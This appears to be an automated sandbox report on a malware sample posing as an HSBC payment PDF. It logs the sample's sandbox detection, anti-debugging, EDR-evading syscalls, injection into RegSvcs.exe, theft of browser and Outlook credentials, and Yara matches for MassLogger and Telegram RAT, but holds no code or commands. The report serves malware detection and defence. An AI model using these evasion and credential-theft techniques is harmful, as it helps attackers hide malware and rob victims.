Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599656	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599547	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599437	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599328	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599212	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598894	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598625	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598469	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598344	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598231	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598125	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598015	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597906	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597797	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597681	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597563	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597438	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597317	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597188	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597078	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596969	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596859	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596750	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596608	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596485	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596321	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596131	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595943	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595764	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595656	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595544	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595437	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595309	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595202	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595094	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594984	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594875	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594766	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594656	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594533	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594406	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594297	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594176	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594047	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 593937	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 593828	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 593719	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 593602	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 593247	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 593040	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 592923	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 592797	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 592682	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 592565	Jump to behavior

Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File opened: C:\Program Files (x86)\common files\Oracle\Java\javapath\java.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File opened: C:\Program Files (x86)\common files\Oracle\Java\javapath\javaw.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File opened: C:\Program Files (x86)\common files\Oracle\Java\javapath\javaws.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File opened: C:\Program Files (x86)\common files\Oracle\Java\javapath_target_749031\java.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File opened: C:\Program Files (x86)\common files\Oracle\Java\javapath_target_749031\javaw.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File opened: C:\Program Files (x86)\common files\Oracle\Java\javapath_target_749031\javaws.exe	Jump to behavior

Source: Spectrum.exe, 00000013.00000003.2172503001.000000000053E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: TSCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\4&224f42ef&0&000000
Source: Spectrum.exe, 00000013.00000002.3340989454.000000000050B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: RSCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\4&224f42ef&0&000000ce
Source: Spectrum.exe, 00000013.00000003.2173589554.0000000000530000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMware Virtual disk SCSI Disk Deviceb
Source: Spectrum.exe, 00000013.00000003.2172503001.000000000053E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: NECVMWar VMware SATA CD00\|
Source: Spectrum.exe, 00000013.00000003.2172503001.000000000053E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: #TSCSI\Disk&Ven_VMware&Prod_Virtual_disk\4&1656f219&0&000000
Source: Spectrum.exe, 00000013.00000003.2172258542.0000000000535000.00000004.00000020.00020000.00000000.sdmp, Spectrum.exe, 00000013.00000003.2172372849.0000000000535000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Drivertion Infrastructure DriverT
Source: Spectrum.exe, 00000013.00000002.3340989454.000000000050B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: @oem2.infloc.vmwarebusdevicedescVMware VMCI Bus Devicer
Source: Spectrum.exe, 00000013.00000003.2173471818.0000000000546000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: BBSCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\4&224f42ef&0&000000
Source: Spectrum.exe, 00000013.00000003.2173548889.0000000000536000.00000004.00000020.00020000.00000000.sdmp, Spectrum.exe, 00000013.00000002.3350961380.0000000000538000.00000004.00000020.00020000.00000000.sdmp, Spectrum.exe, 00000013.00000003.2173589554.0000000000536000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Drivertion Infrastructure Driver
Source: armsvc.exe, 00000002.00000003.2290002010.000000000098F000.00000004.00000020.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.2148708963.000000000098F000.00000004.00000020.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.2555995836.000000000098F000.00000004.00000020.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.2787944261.000000000098F000.00000004.00000020.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.2121150907.000000000098F000.00000004.00000020.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.2169195097.000000000098F000.00000004.00000020.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.2690542196.000000000098F000.00000004.00000020.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.2187355202.000000000098F000.00000004.00000020.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.2169578065.000000000098F000.00000004.00000020.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.2331182641.000000000098F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: Spectrum.exe, 00000013.00000003.2172258542.0000000000526000.00000004.00000020.00020000.00000000.sdmp, Spectrum.exe, 00000013.00000003.2173471818.0000000000546000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: @wgencounter.inf,%gencounter.devicedesc%;Microsoft Hyper-V Generation Counter
Source: Spectrum.exe, 00000013.00000003.2173589554.0000000000536000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 000VMware VMCI Bus Devicesdevicedesc%;VMware VMCI Bus DeviceP
Source: RegSvcs.exe, 00000011.00000002.3350551229.00000000014EA000.00000004.00000020.00020000.00000000.sdmp, snmptrap.exe, 00000012.00000002.3341028754.00000000005A3000.00000004.00000020.00020000.00000000.sdmp, ssh-agent.exe, 00000015.00000002.3343746783.000000000052C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: Spectrum.exe, 00000013.00000003.2173471818.0000000000546000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ;;SCSI\Disk&Ven_VMware&Prod_Virtual_disk\4&1656f219&0&000000
Source: Spectrum.exe, 00000013.00000003.2172258542.0000000000526000.00000004.00000020.00020000.00000000.sdmp, Spectrum.exe, 00000013.00000003.2173471818.0000000000546000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: @wvid.inf,%vid.devicedesc%;Microsoft Hyper-V Virtualization Infrastructure Driver`
Source: Spectrum.exe, 00000013.00000002.3340989454.000000000050B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: STNECVMWar VMware SATA CD00J
Source: Spectrum.exe, 00000013.00000003.2173548889.0000000000536000.00000004.00000020.00020000.00000000.sdmp, Spectrum.exe, 00000013.00000003.2173589554.0000000000536000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Microsoft Hyper-V Generation Countersc%;Microsoft Hyper-V Generation Counter<wS
Source: Spectrum.exe, 00000013.00000003.2173471818.0000000000546000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: v@oem2.inf,%loc.vmwarebusdevicedesc%;VMware VMCI Bus Device
Source: AppVClient.exe, 00000007.00000002.2110084231.00000000004AE000.00000004.00000020.00020000.00000000.sdmp, AppVClient.exe, 00000007.00000003.2109436235.0000000000497000.00000004.00000020.00020000.00000000.sdmp, AppVClient.exe, 00000007.00000003.2109339753.0000000000490000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: appv:SoftwareClients/appv:JavaVirtualMachineg
Source: Spectrum.exe, 00000013.00000003.2173471818.0000000000546000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 4NECVMWar VMware SATA CD00
Source: Spectrum.exe, 00000013.00000003.2172503001.000000000053E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: Spectrum.exe, 00000013.00000003.2172372849.0000000000535000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMware VMCI Bus Devicesdevicedesc%;VMware VMCI Bus Device
Source: Spectrum.exe, 00000013.00000002.3340989454.000000000050B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: @oem2.infloc.vmwarebusdevicedescVMware VMCI Bus DeviceV
Source: Spectrum.exe, 00000013.00000003.2173548889.0000000000536000.00000004.00000020.00020000.00000000.sdmp, Spectrum.exe, 00000013.00000002.3350961380.0000000000538000.00000004.00000020.00020000.00000000.sdmp, Spectrum.exe, 00000013.00000003.2173589554.0000000000536000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Microsoft Hyper-V Virtualization Infrastructb$
Source: Spectrum.exe, 00000013.00000003.2173589554.0000000000530000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SSCSI\Disk&Ven_VMware&Prod_Virtual_disk\4&1656f219&0&000000
Source: Spectrum.exe, 00000013.00000003.2173471818.0000000000546000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: JVMware Virtual disk SCSI Disk Device

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Code function: 17_2_068E4560 LdrInitializeThunk,LdrInitializeThunk,

17_2_068E4560

Source: C:\Windows\SysWOW64\perfhost.exe

Code function: 15_2_007008F1 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

15_2_007008F1

Source: C:\Windows\SysWOW64\perfhost.exe	Code function: 15_2_006C1130 mov eax, dword ptr fs:[00000030h]		15_2_006C1130
Source: C:\Windows\SysWOW64\perfhost.exe	Code function: 15_2_007034CD mov eax, dword ptr fs:[00000030h]		15_2_007034CD

Source: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe

Process token adjusted: Debug

Source: C:\Windows\SysWOW64\perfhost.exe	Code function: 15_2_007008F1 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,		15_2_007008F1
Source: C:\Windows\SysWOW64\perfhost.exe	Code function: 15_2_0070420B SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,		15_2_0070420B

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Memory allocated: page read and write | page guard

Found direct / indirect Syscall (likely to bypass EDR)

HIPS / PFW / Operating System Protection Evasion

Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\elevation_service.exe	NtOpenKeyEx: Indirect: 0x140077B9B	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\elevation_service.exe	NtQueryValueKey: Indirect: 0x140077C9F	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\elevation_service.exe	NtClose: Indirect: 0x140077E81

Maps a DLL or memory area into another process

Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe

Section loaded: NULL target: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe protection: execute and read and write

Writes to foreign memory regions

Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe

Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 110F008

Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe

Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe"

Source: HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe

Binary or memory string: Run Script:AutoIt script files (*.au3, *.a3x)*.au3;*.a3xAll files (*.*)*.*au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning

Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\AppVClient.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\FXSSVC.exe	Queries volume information: C:\ProgramData\Microsoft\Windows NT\MSFax\Queue\TSTD4C9.tmp VolumeInformation	Jump to behavior
Source: C:\Windows\System32\FXSSVC.exe	Queries volume information: C:\ProgramData\Microsoft\Windows NT\MSFax\TSTD4CA.tmp VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\elevation_service.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\PerceptionSimulation\PerceptionSimulationService.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\perfhost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\Spectrum.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\OpenSSH\ssh-agent.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Windows\System32\TieringEngineService.exe

Key value queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\TimeZoneInformation Bias

Source: C:\Windows\SysWOW64\perfhost.exe

Code function: 15_2_006E7960 GetVolumeInformationW,GetWindowsDirectoryW,CreateThread,CreateThread,GetLastError,GetWindowsDirectoryW,CreateThread,GetUserNameW,GetLastError,GetComputerNameW,CreateThread,GetVolumeInformationW,CreateThread,GetUserNameW,GetLastError,

15_2_006E7960

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Yara detected MassLogger RAT

Stealing of Sensitive Information

Source: Yara match	File source: 17.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000011.00000002.3380159600.000000000347B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.3338405764.0000000000402000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.3380159600.000000000337F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 7188, type: MEMORYSTR

Yara detected Telegram RAT

Source: Yara match	File source: 17.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000011.00000002.3380159600.000000000347B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.3338405764.0000000000402000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.3380159600.000000000337F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 7188, type: MEMORYSTR

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data			Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Yara detected MassLogger RAT

Source: Yara match	File source: 17.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000011.00000002.3380159600.000000000347B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.3338405764.0000000000402000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.3380159600.000000000337F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 7188, type: MEMORYSTR

Remote Access Functionality

Source: Yara match	File source: 17.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000011.00000002.3380159600.000000000347B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.3338405764.0000000000402000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.3380159600.000000000337F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 7188, type: MEMORYSTR

Yara detected Telegram RAT

Source: Yara match	File source: 17.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000011.00000002.3380159600.000000000347B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.3338405764.0000000000402000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.3380159600.000000000337F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 7188, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Native API	2 LSASS Driver	1 Abuse Elevation Control Mechanism	1 Disable or Modify Tools	1 OS Credential Dumping	1 System Time Discovery	1 Taint Shared Content	1 Archive Collected Data	1 Web Service	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 DLL Side-Loading	2 LSASS Driver	1 Abuse Elevation Control Mechanism	11 Input Capture	1 Account Discovery	Remote Desktop Protocol	1 Data from Local System	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 DLL Side-Loading	3 Obfuscated Files or Information	Security Account Manager	1 File and Directory Discovery	SMB/Windows Admin Shares	1 Email Collection	11 Encrypted Channel	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	212 Process Injection	1 Software Packing	NTDS	113 System Information Discovery	Distributed Component Object Model	11 Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Timestomp	LSA Secrets	211 Security Software Discovery	SSH	Keylogging	14 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	1 Process Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	222 Masquerading	DCSync	21 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	21 Virtualization/Sandbox Evasion	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	212 Process Injection	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	Dynamic API Resolution	Network Sniffing	1 System Network Configuration Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	82%	ReversingLabs	Win32.Virus.Expiro
HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	100%	Avira	W32/Infector.Gen
HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Program Files (x86)\Java\jre-1.8\bin\java-rmi.exe	100%	Avira	W32/Infector.Gen
C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\java.exe	100%	Avira	W32/Infector.Gen
C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\AdobeARMHelper.exe	100%	Avira	W32/Infector.Gen
C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe_x64.exe	100%	Avira	W32/Infector.Gen
C:\Program Files (x86)\Common Files\Java\Java Update\jucheck.exe	100%	Avira	W32/Infector.Gen
C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	100%	Avira	W32/Infector.Gen
C:\Program Files (x86)\Common Files\Java\Java Update\jusched.exe	100%	Avira	W32/Infector.Gen
C:\Program Files (x86)\Common Files\Java\Java Update\jaureg.exe	100%	Avira	W32/Infector.Gen
